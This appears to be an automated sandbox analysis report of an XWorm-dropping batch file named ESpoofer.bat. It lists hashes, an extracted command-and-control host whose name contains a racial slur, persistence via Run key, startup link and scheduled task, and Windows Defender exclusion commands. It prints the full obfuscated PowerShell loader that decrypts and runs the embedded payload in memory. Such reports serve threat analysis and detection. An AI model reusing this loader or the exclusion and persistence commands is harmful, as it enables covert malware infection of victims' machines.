Analysis
-
max time kernel
119s -
max time network
121s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2025 19:09
Static task
static1
Behavioral task
behavioral1
Sample
ESpoofer.bat
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
ESpoofer.bat
Resource
win10v2004-20241007-en
Errors
General
-
Target
ESpoofer.bat
-
Size
291KB
-
MD5
3726560b7e2b96b268c25f0e6ee93e87
-
SHA1
a80b2477598d41baca9b013df935750dc7fb35a8
-
SHA256
45613b094a63904db97d394d40574ccb60444990924fa9df1ed19dfc6d4da766
-
SHA512
7f81dd73d85f6fcf1210830f5259d22095037dce5613fc397a983a11c079cbf77c74e2464e8be461f2455354e08949c4a74439e8fc0cd2efff43ff7a034bf34a
-
SSDEEP
6144:4kQLbp6z5Ary1l3qgJDeKGImDRg1Y28MxBNQdyWCbY5pepzJhMfgS:4Np6lZn3qgJ/GXDR6ZfxBNKTCbjFsJ
Malware Config
Extracted
xworm
IDKTOBEHONESTNIGAS-56344.portmap.io:56344
-
Install_directory
%ProgramData%
Signatures
-
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/2208-15-0x000001FEDAFB0000-0x000001FEDAFC8000-memory.dmp family_xworm -
Xworm family
-
Blocklisted process makes network request 64 IoCs
flow pid Process 14 2208 powershell.exe 22 2208 powershell.exe 28 2208 powershell.exe 29 2208 powershell.exe 31 2208 powershell.exe 32 2208 powershell.exe 33 2208 powershell.exe 34 2208 powershell.exe 35 2208 powershell.exe 36 2208 powershell.exe 37 2208 powershell.exe 38 2208 powershell.exe 41 2208 powershell.exe 42 2208 powershell.exe 53 2208 powershell.exe 54 2208 powershell.exe 56 2208 powershell.exe 57 2208 powershell.exe 58 2208 powershell.exe 59 2208 powershell.exe 60 2208 powershell.exe 61 2208 powershell.exe 62 2208 powershell.exe 63 2208 powershell.exe 64 2208 powershell.exe 65 2208 powershell.exe 66 2208 powershell.exe 67 2208 powershell.exe 68 2208 powershell.exe 69 2208 powershell.exe 70 2208 powershell.exe 71 2208 powershell.exe 72 2208 powershell.exe 75 2208 powershell.exe 76 2208 powershell.exe 77 2208 powershell.exe 78 2208 powershell.exe 79 2208 powershell.exe 80 2208 powershell.exe 81 2208 powershell.exe 82 2208 powershell.exe 83 2208 powershell.exe 84 2208 powershell.exe 85 2208 powershell.exe 86 2208 powershell.exe 87 2208 powershell.exe 88 2208 powershell.exe 89 2208 powershell.exe 90 2208 powershell.exe 91 2208 powershell.exe 92 2208 powershell.exe 93 2208 powershell.exe 94 2208 powershell.exe 95 2208 powershell.exe 96 2208 powershell.exe 97 2208 powershell.exe 99 2208 powershell.exe 102 2208 powershell.exe 104 2208 powershell.exe 105 2208 powershell.exe 106 2208 powershell.exe 107 2208 powershell.exe 108 2208 powershell.exe 109 2208 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
pid Process 2208 powershell.exe 3180 powershell.exe 4196 powershell.exe 3064 powershell.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk powershell.exe -
Executes dropped EXE 2 IoCs
pid Process 548 powershell.exe 456 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\ProgramData\\powershell.exe" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 13 ip-api.com -
Modifies data under HKEY_USERS 15 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "194" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3640 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 2208 powershell.exe 2208 powershell.exe 3180 powershell.exe 3180 powershell.exe 4196 powershell.exe 4196 powershell.exe 3064 powershell.exe 3064 powershell.exe 548 powershell.exe 548 powershell.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 2208 powershell.exe Token: SeDebugPrivilege 3180 powershell.exe Token: SeDebugPrivilege 4196 powershell.exe Token: SeDebugPrivilege 3064 powershell.exe Token: SeDebugPrivilege 2208 powershell.exe Token: SeDebugPrivilege 548 powershell.exe Token: SeShutdownPrivilege 1688 shutdown.exe Token: SeRemoteShutdownPrivilege 1688 shutdown.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4156 LogonUI.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4132 wrote to memory of 2208 4132 cmd.exe 84 PID 4132 wrote to memory of 2208 4132 cmd.exe 84 PID 2208 wrote to memory of 3180 2208 powershell.exe 88 PID 2208 wrote to memory of 3180 2208 powershell.exe 88 PID 2208 wrote to memory of 4196 2208 powershell.exe 90 PID 2208 wrote to memory of 4196 2208 powershell.exe 90 PID 2208 wrote to memory of 3064 2208 powershell.exe 94 PID 2208 wrote to memory of 3064 2208 powershell.exe 94 PID 2208 wrote to memory of 3640 2208 powershell.exe 99 PID 2208 wrote to memory of 3640 2208 powershell.exe 99 PID 2208 wrote to memory of 1688 2208 powershell.exe 112 PID 2208 wrote to memory of 1688 2208 powershell.exe 112 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ESpoofer.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4132 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ABSkg3c5RdTlVVO+LETYiwnY5IUi/Oxvvu/3j8Eh8LA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gpFC2eKYPgwT0m8KOwt5yA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BiwtT=New-Object System.IO.MemoryStream(,$param_var); $lwmkR=New-Object System.IO.MemoryStream; $GsgDc=New-Object System.IO.Compression.GZipStream($BiwtT, [IO.Compression.CompressionMode]::Decompress); $GsgDc.CopyTo($lwmkR); $GsgDc.Dispose(); $BiwtT.Dispose(); $lwmkR.Dispose(); $lwmkR.ToArray();}function execute_function($param_var,$param2_var){ $pSmqn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fxjIB=$pSmqn.EntryPoint; $fxjIB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\ESpoofer.bat';$MmrVi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ESpoofer.bat').Split([Environment]::NewLine);foreach ($LjtcW in $MmrVi) { if ($LjtcW.StartsWith(':: ')) { $MhzlL=$LjtcW.Substring(3); break; }}$payloads_var=[string[]]$MhzlL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2208 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3180
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4196
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\powershell.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3064
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\ProgramData\powershell.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3640
-
-
C:\Windows\SYSTEM32\shutdown.exeshutdown.exe /f /s /t 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1688
-
-
-
C:\ProgramData\powershell.exeC:\ProgramData\powershell.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:548
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa38c6855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4156
-
C:\ProgramData\powershell.exeC:\ProgramData\powershell.exe1⤵
- Executes dropped EXE
PID:456
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
-
Filesize
944B
MD5cae60f0ddddac635da71bba775a2c5b4
SHA1386f1a036af61345a7d303d45f5230e2df817477
SHA256b2dd636b7b0d3bfe44cef5e1175828b1fa7bd84d5563f54342944156ba996c16
SHA51228ed8a8bc132ef56971cfd7b517b17cdb74a7f8c247ef6bff232996210075e06aa58a415825a1e038cfb547ad3dc6882bf1ca1b68c5b360ef0512a1440850253
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82